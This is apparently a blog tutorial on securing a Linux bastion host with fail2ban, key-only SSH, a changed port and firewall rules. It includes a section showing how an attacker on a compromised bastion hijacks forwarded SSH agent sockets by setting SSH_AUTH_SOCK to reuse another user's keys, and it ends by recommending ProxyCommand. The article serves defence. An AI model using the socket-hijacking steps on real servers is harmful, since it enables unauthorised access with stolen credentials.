What is the bastion host?
On Wikipedia, you may read that "bastion host is a special purpose computer on a network specifically designed and configured to withstand attacks." but it's more important to make correct server configuration otherwise bastion host can be a weapon for an attacker.
Let's configure Linux servers and then we can start hacking. Imagine that we have N number of Linux instances and one bastion server. We will use private key ssh authentification for our Linux instances. For testing purpose, we will use user/password authentification for the bastion server. Let's start the configuration.
- Create a user for the server
adduser bastion passwd bastion
- open sshd_config and edit configuration. Change PermitRootLogin yes to PermitRootLogin no
vim /etc/ssh/sshd_config
- Restart sshd and check the status
systemctl restart ssh systemctl status sshd
You should see something like that:
[vq@localhost~]# systemctl status sshd ● sshd.service - OpenSSH server daemon Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled) Active: active (running) since Wed 2018-07-04 10:02:06 UTC; 32s ago Docs: man:sshd(8) man:sshd_config(5) Main PID: 11595 (sshd) CGroup: /system.slice/sshd.service └─11595 /usr/sbin/sshd -D Jul 04 10:02:06 systemd[1]:Starting OpenSSH server daemon... Jul 04 10:02:06 sshd[11595]: Server listening on 0.0.0.0 port 22 Jul 04 10:02:06 sshd[11595]: Server listening on :: port 22 Jul 04 10:02:06 *** systemd[1]: Started OpenSSH server daemon.Now you can't log in via the root user. You can see if this configuration checks out.
vq@localhost:~> ssh root@X.X.X.X root@X.X.X.X's password: Permission denied, please try again.
- Let's block user if he/she tries to log in with incorrect user/password. For example we can give him/her three chances to log in - otherwise, we can block permanently or temporarily. So we can use fail2ban.
sudo yum install epel-release sudo yum install fail2ban
- Duplicate fail2ban configure to create override config file:
cp /etc/fail2ban/fail2ban.conf /etc/fail2ban/fail2ban.local cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local vim jail.local
- If you use CentOS you need to change backend variable in the configuration. Just open jail.local file and change auto to systemd.
[DEFAULT] backend = systemd
- Now enable SSH daemon jail in the jail.local file (anyway it's necessary for CentOS 7)
[sshd] enabled = true
- Set bantime, findtime, and maxretry values. For example:
bantime = 1000 findtime = 1000 maxretry = 3
- Enable fail2ban and restart service
sudo systemctl enable fail2ban sudo systemctl start fail2ban
Now if you try authentification with incorrect user/password you will be blocked.
How to configure ssh private key authentification on Linux?
- Crate user in the server
adduser usr passwd usr
- Generate ssh keys
ssh-keygen
- Copy public key to the server
ssh-copy-id -i ~/.ssh/name.pub usr@IP
- Login using private key:
ssh -i name usr@IP
- Disable root login and password authentification to the following file:
vim /etc/ssh/sshd_config PasswordAuthentication no PermitRootLogin no
- hmm... why not to change SSH port? Let's tell SELinux that we need to change it. Let's use just random number 2597
yum -y install policycoreutils-python semanage port -a -t ssh_port_t -p tcp 2597
- Now change port in sshd_config.
vim /etc/ssh/sshd_configCheck configuration file
sshd -t
- Restart services
sudo systemctl restart sshd
- Check what port is LITESENING
sudo netstat -lntp | grep ssh
- Allow ssh login only from bastion. So open 2597 port only for bastion. If you use firewalld run the following command:
firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="BASTION_IP/32" port protocol="tcp" port="2597" accept'
If this is not your server just check your default zone.
firewall-cmd --get-default-zone
And check your rules:
firewall-cmd --list-all
But maybe you prefer to use iptables instead of firewald:
iptables -I INPUT -p tcp -s BASTION_IP --dport 2597 -j ACCEPT iptables -I INPUT -p tcp -s 0.0.0.0/0 --dport 2597 -j DROP
if this is not your own server just check iptable rules and remove some of them if necessary:
iptables -L --line-numbers
sudo iptables -D INPUT {line}
How to access my server via the Bastion? Generally, there are many ways but some of them are not secure. Let's talk for about them.
How to use AgentForwarding
- Create config in ~/.ssh/config
Host bast Hostname BASTION_IP ForwardAgent yes User bastion
- Add your authentification key to ssh agent
ssh-add ~/.ssh/name_rsa
- Connect to bastion host using username/password
ssh bast
- Connect application server
ssh app@IP -p PORT
As you see you should connect your remote servers via the bastion server. The same scenario is if you want to upload/download files:
- Download file from remote server to BASTION. Run the command in Bastion server
scp -P PORT app@IP:/src_path /dest_path
- Download file from BASTION to LOCA machine. Run the command in LOCAL machine:
scp -P PORT bastion@ip:/src_path /dest_pathor
scp -P PORT bast:/src_path /dest_path
- Upload file to BASTION
scp /src_path bastion:/dest_path
You may, well, ask me the question: Is my server secure? And the answer is quite simple:
- Le't me tell you: NO!
- Why?
- Because you are using SSH Agent forwarding?
- And where is the problem?
- Because Agent forwarding is dangerous and it's consider considered harmful.
Let's explain everything inside out: When you connect bastion host your glorious ssh agent is forwarded. It means that the socket will be set up so that someone may use this socket data to access your servers. Imagine that your bastion server is compromised, If someone has sufficient permissions on your Linux server he/she will just use your socket info. As a result, all your server can be accessed. I know window of compromise is very small because it depends on how much time you are connected to the bastion host. But do you really want to the risk when you have other options like ProxyCommand? Hence, just use ProxyCommand!
How to hack servers if you compromised bastion host?
In /tmp directory you may see something like that:
[root@localhost tmp]# ll total 12 drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlolet's open the temporary file
[root@localhost tmp]# cd ssh-mKX88v0Vlo/ [root@localhost ssh-mKX88v0Vlo]# ll total 0 srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507Let's see connections to this process id.
netstat -nxp | grep 10507result:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastionand who is connected?
lsof -i -a -p 10507result:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)We can also see socket files:
cd /proc/10507/fd/ lsresult:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994] lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069] lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072] l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079] l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079] lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]And what happens when client will be connected to remote server? let's see:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267] lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994] lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069] lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072] l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079] l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079] lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]We can even see if socket file is used using netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd: bastion /tmp/ssh-oVoMXC6vb8/agent.10561 unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastionbut wait we need to steal the socket information while the session of bastion host is open. Oh, we also need destination server IP, so just use netstat It's funny but you might find something like that on the internet.:
netstat -tn 2>/dev/null
grep :22 | awk '{print $5}' | cut -d: -f1 |
sort | uniq -c | sort -nr | head
Sometimes people try to demonstrate their knowledge but just make everything simple.netstat -tnThe final step to use the forwarded socket file
eval "$(ssh-agent -s)" SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507Check if the key is loaded.
ssh-add -lresult should be something like that:
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)Ok. We have seen that Agent Forwarding is a problem. But where is the solution? Fortunately, we can just use a proxy command. So let's rewrite our configuration:
Host app Hostname *.*.*.* IdentityFile ~/.ssh/your_rsa User ******* Port **** ProxyCommand ssh -W %h:%p bast Host bast Hostname *.*.*.* ForwardAgent no User ******Now it's very simple to connect your server
ssh appDo you want to download something from bastion?
scp bast:/home/bastion/sh ~/Maybe you want to download something from the remote server via the bastion tunnel:
scp -P **** app:/src_path /dest_pathMaybe you want to ypload something to remote server via the bastion tunel:
scp -P **** app:/src_path /dest_path
Conclusion
- If you use bastion host, don't use AgentForwarding but use ProxyCommand
- Always use non root user for authentification
- Use firewall and block all unnecessary connections.
- Use SELinux
- Block the IP address who tries to login several time with incorrect credentials
- If it's not necessery don't give sudo permission to the user
- Monitor your server
- Update your server for security patches
